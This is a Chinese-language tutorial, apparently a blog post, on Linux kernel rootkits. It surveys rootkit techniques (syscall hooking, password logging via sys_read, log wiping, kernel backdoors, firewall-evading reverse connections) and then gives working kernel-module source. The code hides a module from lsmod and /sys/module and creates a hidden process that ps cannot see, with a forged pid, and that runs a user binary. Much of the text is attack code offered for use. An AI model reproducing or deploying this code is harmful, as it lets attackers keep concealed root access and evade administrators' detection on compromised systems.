Rootkit介紹:
Rootkits是linux/unix獲取root權限之后使得攻擊者可以隱藏自己的蹤跡和保留root訪問權限的神器,通常攻擊者使用 rootkit的檢查系統查看是否有其他的用戶登錄,如果只有自己,攻擊者就開始着手清理日志中的有關信息,通過rootkit的嗅探器還可以獲得其他系統的用戶和密碼
Intel的x86處理器是通過Ring級別來進行訪問控制的,級別共分4層,從Ring0到Ring3(后面簡稱R0、R1、R2、R3)。R0層擁有最高的權限,R3層擁有最低的權限。按照Intel原有的構想,應用程序工作在R3層,只能訪問R3層的數據;操作系統工作在R0層,可以訪問所有層的數據;而其他驅動程序位於R1、R2層,每一層只能訪問本層以及權限更低層的數據。 這應該是很好的設計,這樣操作系統工作在最核心層,沒有其他代碼可以修改它;其他驅動程序工作在R1、R2層,有要求則向R0層調用,這樣可以有效保障操作系統的安全性。但現在的OS,包括Windows和Linux都沒有采用4層權限,而只是使用2層——R0層和R3層,分別來存放操作系統數據和應用程序數據,從而導致一旦驅動加載了,就運行在R0層,就擁有了和操作系統同樣的權限,可以做任何事情,而所謂的rootkit也就隨之而生了。實際上,所有的內核代碼都擁有根權限,當然,並不一定它們都叫做rootkit,這要看你用它來做什么。R3層的rootkit通過文件完整性檢測較容易發現
R0層擁有最高的權限,R3層擁有最低的權限。按照Intel原有的構想,應用程序工作在R3層,只能訪問R3層的數據;操作系統工作在R0層,可以訪問所有層的數據;而其他驅動程序位於R1、R2層
rootkit的常見功能:
隱藏文件:通過strace ls可以發現ls命令其實是通過sys_getdents64獲得文件目錄的,因此可以通過修改sys_getdents64系統調用或者更底層的 readdir實現隱藏文件及目錄,還有對ext2文件系統直接進行修改的方法,不過實現起來不夠方便,也有一些具體的限制。
隱藏進程:隱藏進程的方法和隱藏文件類似,ps命令是通過讀取/proc文件系統下的進程目錄獲得進程信息的,只要能夠隱藏/proc文件系統下的進程目錄就可以達到隱藏進程的效果,即hook sys_getdents64和readdir等。
隱藏連接:netstat命令是通過讀取/proc文件系統下的net/tcp和net/udp文件獲得當前連接信息,因此可以通過hook sys_read調用實現隱藏連接,也可以修改tcp4_seq_show和udp4_seq_show等函數實現。
隱藏模塊:lsmod命令主要是通過sys_query_module系統調用獲得模塊信息,可以通過hook sys_query_module系統調用隱藏模塊,也可以通過將模塊從內核模塊鏈表中摘除從而達到隱藏效果。
嗅探工具:嗅探工具可以通過libpcap庫直接訪問鏈路層,截獲數據包,也可以通過linux的netfilter框架在IP層的hook點上截獲數據包。嗅探器要獲得網絡上的其他數據包需要將網卡設置為混雜模式,這是通過ioctl系統調用的SIOCSIFFLAGS命令實現的,查看網卡的當前模式是通過SIOCGIFFLAGS命令,因此可以通過hook sys_ioctl隱藏網卡的混雜模式。
密碼記錄:密碼記錄可以通過hook sys_read系統調用實現,比如通過判斷當前運行的進程名或者當前終端是否關閉回顯,可以獲取用戶的輸入密碼。hook sys_read還可以實現login后門等其它功能。
日志擦除:傳統的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通過編寫相應的工具對日志文件進行修改,還可以將HISTFILE等環境變設為/dev/null隱藏用戶的一些操作信息。
內核后門:可以是本地的提權后門和網絡的監聽后門,本地的提權可以通過對內核模塊發送定制命令實現,網絡內核后門可以在IP層對進入主機的數據包進行監聽,發現匹配的指定數據包后立刻啟動回連進程。
rootkit的主要技術:
lkm注射:也是一種隱藏內核模塊的方法,通過感染系統的lkm,在不影響原有功能的情況下將rootkit模塊鏈接到系統lkm中,在模塊運行時獲得控制權,初始化后調用系統lkm的初始化函數,lkm注射涉及到elf文件格式與模塊加載機制。
模塊摘除:主要是指將模塊從模塊鏈表中摘除從而隱藏模塊的方法,最新加載的模塊總是在模塊鏈表的表頭,因此可以在加載完rootkit模塊后再加載一個清除模塊將rootkit模塊信息從鏈表中刪除,再退出清除模塊,新版本內核中也可以通過判斷模塊信息后直接list_del。
攔截中斷:主要通過sidt指令獲得中斷調用表的地址,進而獲取中斷處理程序的入口地址,修改對應的中斷處理程序,如int 0x80,int 0x1等。其中攔截int 0x1是較新的技術,主要利用系統的調試機制,通過設置DR寄存器在要攔截的內存地址上下斷點,從而在執行到指定指令時轉入0x1中斷的處理程序,通過修改0x1中斷的處理程序即可實現想要的功能。
劫持系統調用:和攔截中斷類似,但主要是對系統調用表進行修改,可以直接替換原系統調用表,也可以修改系統調用表的入口地址。在2.4內核之前,內核的系統調用表地址是導出的,因此可以直接對其進行修改。但在2.6內核之后,系統調用表的地址已經不再導出,需要對0x80中斷處理程序進行分析從而獲取系統調用表的地址。
運行時補丁:字符設備驅動程序和塊設備驅動程序在加載時都會向系統注冊一個Struct file_operations結構實現指定的read、write等操作,文件系統也是如此,通過修改文件系統的file_operations結構,可以實現新的read、write操作等。
inline hook:主要是指對內存中的內核函數直接修改,而不影響原先的功能,可以采用跳轉的辦法,也可以修改對下層函數的call offset實現。
端口反彈:主要是為了更好的突破防火牆的限制,可以在客戶端上監聽80端口,而在服務器端通過對客戶端的80端口進行回連,偽裝成一個訪問web服務的正常進程從而突破防火牆的限制。
LKM的編碼學習(隱藏模塊)
正常的ko文件
#include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> static int hello_init(void) { printk("Hello world.\n"); return 0; } static void hello_exit(void) { printk("Goodbye world.\n"); return; } module_init(hello_init); module_exit(hello_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("fly");
1 obj-m:=helloworld.o 2 KDIR:=/lib/modules/5.4.0-21-generic/build 3 MAKE:=make 4 default: 5 $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 6 clean: 7 rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
如何改成隱藏模塊
1)隱藏打印信息
在LKM中,是無法依賴於我們平時使用的C庫的,模塊僅僅被鏈接到內核,只可以調用內核所導出的函數,不存在可鏈接的函數庫。這是內核編程與我們平時應用程序編程的不同之一。printk()函數將內容紀錄在系統日志文件里,當然我們也可以用printk()將信息輸出至控制台
2)從lsmod命令中隱藏我們的模塊
對於rootkit來說,隱蔽性是非常重要的,一個lsmod命令就可以讓我們的lkm遁形,這顯然談不上隱蔽。對於dmesg命令,我們只要刪除掉printk()函數就好,這個函數所起的僅僅是示范作用。但是如何讓lsmod命令無法顯示我們的模塊呢?
lsmod解釋: lsmod命令是通過/proc/modules來獲取當前系統模塊信息的。而/proc/modules中的當前系統模塊信息是內核利用struct modules結構體的表頭遍歷內核模塊鏈表、
從所有模塊的struct module結構體中獲取模塊的相關信息來得到的。結構體struct module在內核中代表一個內核模塊。通過insmod(實際執行init_module系統調用)把自己編寫的內核模塊插入內核時,
模塊便與一個 struct module結構體相關聯,並成為內核的一部分,所有的內核模塊都被維護在一個全局鏈表中,鏈表頭是一個全局變量struct module *modules。任何一個新創建的模塊,
都會被加入到這個鏈表的頭部,通過modules->next即可引用到
為了讓我們的模塊在lsmod命令中的輸出里消失掉,我們需要在這個鏈表內刪除我們的模塊:
list_del_init(&__this_module.list);
將"list_del_init(&__this_module.list);"加入到我們的初始化函數中,保存,編譯,裝載模塊,再lsmod
3)從sysfs中隱藏我們的模塊
除了lsmod命令和相對應的查看/proc/modules以外,我們還可以在sysfs中,也就是通過查看/sys/module/目錄來發現現有的模塊
解決方案:
kobject_del(&THIS_MODULE->mkobj.kobj);
kobj是一個struct kobject結構體,而kobject是組成設備模型的基本結構。這時我們又要簡單介紹下sysfs這個概念,sysfs是一種基於ram的文件系統,它提供了一種用於向用戶空間展現內核空間里的對象、
屬性和鏈接的方法。sysfs與kobject層次緊密相連,它將kobject層次關系表現出來,使得用戶空間可以看見這些層次關系。通常,sysfs是掛在在/sys目錄下的,而/sys/module是一個sysfs的一個目錄層次,
包含當前加載模塊的信息. 我們通過kobject_del()函數刪除我們當前模塊的kobject就可以起到在/sys/module中隱藏lkm的作用。
隱形進程編碼學習(隱藏進程)
目標:
ps 查看不到進程
1)將task從tasks鏈表摘除
2)將task從pid鏈表摘除
設計思想:
我們都知道每個進程都有一個task_struct存放進程信息,task_struct是從kmem cache中分配的,而kmem cache是slab統一管理的,將task從各類鏈表摘除讓該task脫離管制,task所屬的鏈表可以隨意摘除,但是task出生的場所卻不可改變,
1、kmem_cache_alloc_node的作用 通過這段代碼可以看出,它調用了kmem_cache_alloc_node函數,在task_struct的緩存區域task_struct分配了一塊內存 static struct kmem_cache *task_struct_cachep; task_struct_cachep = kmem_cache_create("task_struct", arch_task_struct_size, align, SLAB_PANIC|SLAB_NOTRACK|SLAB_ACCOUNT, NULL); static inline struct task_struct *alloc_task_struct_node(int node) { return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node); } static inline void free_task_struct(struct task_struct *tsk) { kmem_cache_free(task_struct_cachep, tsk); } 1、在系統初始化的時候,task_struct_cachep 會被 kmem_cache_create 函數創建。 2、這個函數也比較容易看懂、專門用於分配 task_struct 對象的緩存。這個緩存區的名字就叫 task_struct。 3、緩存區中每一塊的大小正好等於 task_struct 的大小,也即 arch_task_struct_size。 1、kmem_cache_alloc_node函數的作用? 1、有了這個緩存區,每次創建task_struct的時候,我們就不用到內存里面去分配,先在緩存里面看看有沒有直接可用的,這就是kmem_cache_alloc_node的作用 2、kmem_cache_free的作用 當一個進程結束,task_struct 也不用直接被銷毀,而是放回到緩存中,這就是kmem_cache_free的作用, 這樣,新進程創建的時候,我們就可以直接用現成的緩存中的task_struct了 2、緩存區struct kmem_cache到底是什么樣子 struct kmem_cache { struct kmem_cache_cpu __percpu *cpu_slab; /* Used for retriving partial slabs etc */ unsigned long flags; unsigned long min_partial; int size; /* The size of an object including meta data */ int object_size; /* The size of an object without meta data */ int offset; /* Free pointer offset. */ #ifdef CONFIG_SLUB_CPU_PARTIAL int cpu_partial; /* Number of per cpu partial objects to keep around */ #endif struct kmem_cache_order_objects oo; /* Allocation and freeing of slabs */ struct kmem_cache_order_objects max; struct kmem_cache_order_objects min; gfp_t allocflags; /* gfp flags to use on each alloc */ int refcount; /* Refcount for slab cache destroy */ void (*ctor)(void *); ...... const char *name; /* Name (only for display!) */ struct list_head list; /* List of slab caches */ ...... struct kmem_cache_node *node[MAX_NUMNODES]; };
3、LIST_HEAD 1、在 struct kemem_cache里面,有個變量struct list_head list,這個結構我們已經看到過多次了 2、我們可以想象一下,對於操作系統來講,要創建和管理的緩存絕對不止task_struct,難道mm_struct就不需要嗎? 3、fs_struct就不需要嗎?都需要,因此所有的緩存最后都會放在一個鏈表里面這就是LIST_HEAD(slab_caches)
所以創建通過task_struct_cachep來進行, 如果創建一個不被察覺的進程就不能走正常流程
自己創建進程
base = kmalloc(2048*3, GFP_KERNEL); tsk = (struct task_struct *)(base + 157);
malloc slab是一個公用的slab池,滿足一些常見大小的私有內存的分配需求,但是它也是受slab管理,還是有風險,如果想讓task的創建徹底脫離slab的管理,那不妨試試下面的:
bash = page_address(__alloc_pages(...)); tsk = (struct task_struct *)(base + 157);
下面步驟:
- 照着copy_process的實現進行最小化代碼復制。
- 不要復制copy_process的pid管理部分,改為LIST_INIT。
- 不要復制copy_process的鏈表管理部分,改為HLIST_INIT。
- 所有的深拷貝對象盡量用__alloc_pages,至少用kmalloc-2x+來分配。
- 剩余的空閑內存填充task字段的顯著特征值,以混淆視聽。
- 實在嫌麻煩,那就照抄用kmem_cache_alloc,但會增加被經理抓的風險。
- 設置內核線程,並在內核線程中調用do_execve到用戶態可執行文件。
- wake up新進程。
- 新進程盡量不要退出,因為kmem cache不會收容它的屍體
源碼:
1 #include <linux/module.h> 2 #include <linux/cred.h> 3 #include <linux/slab.h> 4 #include <linux/kallsyms.h> 5 #include <linux/nsproxy.h> 6 #include <linux/pid_namespace.h> 7 #include <linux/random.h> 8 #include <linux/fdtable.h> 9 #include <linux/cgroup.h> 10 #include <linux/sched.h> 11 12 int (*_run_process)(struct filename *file, char **, char **); 13 struct filename * (*_getname_kernel)(char *name); 14 15 int test_stub2(void) 16 { 17 printk("stub pid: %d at %p\n", current->pid, current); 18 if (_run_process) { 19 int r =_run_process(_getname_kernel("/root/run"), NULL, NULL); 20 printk("result:%d\n", r); 21 } 22 current->parent = current; 23 current->real_parent = current; 24 // kernel thread要返回用戶態,才能達到exec到新task的效果。 25 // 但是記住,exit的時候,直接schedule掉即可,記住把它的parent設置成它自己。 26 // 否則,其parent會wait並嘗試free掉隱藏task,這會導致內存狀態異常。 27 return 0; 28 } 29 30 int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *); 31 int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *); 32 void (*_wake_up_new_task)(struct task_struct *); 33 void (*_sched_fork)(unsigned long, struct task_struct *); 34 struct fs_struct * (*_copy_fs_struct)(struct fs_struct *); 35 struct files_struct * (*_dup_fd)(struct files_struct *, int *); 36 struct pid * (*_alloc_pid)(struct pid_namespace *ns); 37 enum hrtimer_restart (*_it_real_fn)(struct hrtimer *timer); 38 39 static int __init private_proc_init(void) 40 { 41 unsigned char *base; 42 struct task_struct *tsk; 43 struct thread_info *ti; 44 struct task_struct *orig = current; 45 unsigned long *stackend; 46 struct pid_link *link; 47 struct hlist_node *node; 48 struct sighand_struct *sig; 49 struct signal_struct *sign; 50 struct cred *new; 51 struct pid *pid = NULL; 52 int type, err = 0; 53 54 _arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct"); 55 _sched_fork = (void *)kallsyms_lookup_name("sched_fork"); 56 _copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct"); 57 _dup_fd = (void *)kallsyms_lookup_name("dup_fd"); 58 _run_process = (void *)kallsyms_lookup_name("do_execve"); 59 _getname_kernel = (void *)kallsyms_lookup_name("getname_kernel"); 60 _it_real_fn = (void *)kallsyms_lookup_name("it_real_fn"); 61 _alloc_pid = (void *)kallsyms_lookup_name("alloc_pid"); 62 _copy_thread = (void *)kallsyms_lookup_name("copy_thread"); 63 _wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task"); 64 65 base = (unsigned char *)kmalloc(4096, GFP_KERNEL); 66 tsk = (struct task_struct *)(base + 157); 67 _arch_dup_task_struct(tsk, orig); 68 base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL); 69 ti = (struct thread_info *)(base); 70 tsk->stack = ti; 71 *task_thread_info(tsk) = *task_thread_info(orig); 72 task_thread_info(tsk)->task = tsk; 73 stackend = end_of_stack(tsk); 74 *stackend = 0x57AC6E9D; 75 tsk->stack_canary = get_random_int(); 76 77 clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY); 78 clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED ); 79 // 避免wait釋放kmalloc的內存到特定slab,引用計數設置為2 80 atomic_set(&tsk->usage, 2); 81 tsk->splice_pipe = NULL; 82 tsk->task_frag.page = NULL; 83 memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat)); 84 85 raw_spin_lock_init(&tsk->pi_lock); 86 plist_head_init(&tsk->pi_waiters); 87 tsk->pi_blocked_on = NULL; 88 89 rcu_copy_process(tsk); 90 tsk->vfork_done = NULL; 91 spin_lock_init(&tsk->alloc_lock); 92 init_sigpending(&tsk->pending); 93 94 seqlock_init(&tsk->vtime_seqlock); 95 tsk->audit_context = NULL; 96 97 _sched_fork(0, tsk); 98 99 tsk->mm = NULL; 100 tsk->active_mm = NULL; 101 memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp)); 102 mutex_init(&tsk->perf_event_mutex); 103 INIT_LIST_HEAD(&tsk->perf_event_list); 104 105 new = prepare_creds(); 106 if (new->thread_keyring) { 107 key_put(new->thread_keyring); 108 new->thread_keyring = NULL; 109 } 110 key_put(new->process_keyring); 111 new->process_keyring = NULL; 112 atomic_inc(&new->user->processes); 113 tsk->cred = tsk->real_cred = get_cred(new); 114 validate_creds(new); 115 116 tsk->fs = _copy_fs_struct(current->fs); 117 tsk->files = _dup_fd(current->files, &err); 118 base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL); 119 // 奇數地址 120 sig = (struct sighand_struct *)(base + 3); 121 // 避免do_exit釋放kmalloc的內存到特定slab,引用計數設置為2 122 atomic_set(&sig->count, 2); 123 memcpy(sig->action, current->sighand->action, sizeof(sig->action)); 124 125 base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL); 126 sign = (struct signal_struct *)(base + 7); 127 sign->nr_threads = 1; 128 // 避免do_exit釋放kmalloc的內存到特定slab,引用計數設置為2 129 atomic_set(&sign->live, 2); 130 atomic_set(&sign->sigcnt, 2); 131 sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node); 132 tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head); 133 init_waitqueue_head(&sign->wait_chldexit); 134 sign->curr_target = tsk; 135 init_sigpending(&sign->shared_pending); 136 INIT_LIST_HEAD(&sign->posix_timers); 137 seqlock_init(&sign->stats_lock); 138 memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim); 139 140 tsk->cgroups = current->cgroups; 141 atomic_inc(&tsk->cgroups->refcount); 142 INIT_LIST_HEAD(&tsk->cg_list); 143 144 // 設置堆棧以及入口 145 tsk->flags |= PF_KTHREAD; 146 // 我們用一個kernel thread stub來exec到用戶態的binary。 147 _copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk); 148 tsk->clear_child_tid = NULL; 149 tsk->set_child_tid = NULL; 150 151 // 偽造身份證明 152 pid = kmalloc(sizeof(struct pid), GFP_KERNEL); 153 pid->level = current->nsproxy->pid_ns->level; 154 pid->numbers[0].nr = 0xffff; 155 pid->numbers[0].ns = current->nsproxy->pid_ns; 156 for (type = 0; type < PIDTYPE_MAX; ++type) 157 INIT_HLIST_HEAD(&pid->tasks[type]); 158 atomic_set(&pid->count, 2); 159 160 // 進程管理結構自吞尾 161 INIT_LIST_HEAD(&tsk->ptrace_entry); 162 INIT_LIST_HEAD(&tsk->ptraced); 163 atomic_set(&tsk->ptrace_bp_refcnt, 1); 164 tsk->jobctl = 0; 165 tsk->ptrace = 0; 166 tsk->pi_state_cache = NULL; 167 tsk->group_leader = tsk; 168 INIT_LIST_HEAD(&tsk->thread_group); 169 tsk->pid = pid_nr(pid); 170 INIT_LIST_HEAD(&tsk->pi_state_list); 171 INIT_LIST_HEAD(&tsk->tasks); 172 INIT_LIST_HEAD(&tsk->children); 173 INIT_LIST_HEAD(&tsk->sibling); 174 175 // 進程組織自吞尾 176 tsk->pids[PIDTYPE_PID].pid = pid; 177 link = &tsk->pids[PIDTYPE_PID]; 178 node = &link->node; 179 INIT_HLIST_NODE(node); 180 node->pprev = &node; 181 182 // 來吧! 183 _wake_up_new_task(tsk); 184 185 return -1; // oneshot,並非真正加載模塊 186 } 187 188 static void __exit private_proc_exit(void) 189 { 190 } 191 192 module_init(private_proc_init); 193 module_exit(private_proc_exit); 194 MODULE_LICENSE("GPL");
測試程序:
1 #include <fcntl.h> 2 int main(int argc, char **argv) 3 { 4 int fd = open("/dev/pts/0", O_RDWR); 5 while (1) { 6 write(fd, "test\n", 10); 7 sleep(1); 8 } 9 }
參考文獻:
Linux系統創建系統偵測不到的隱形進程(Rootkit技術必備)
https://www.freebuf.com/articles/system/54263.html
https://github.com/ivyl/rootkit
https://www.freebuf.com/articles/network/23665.html
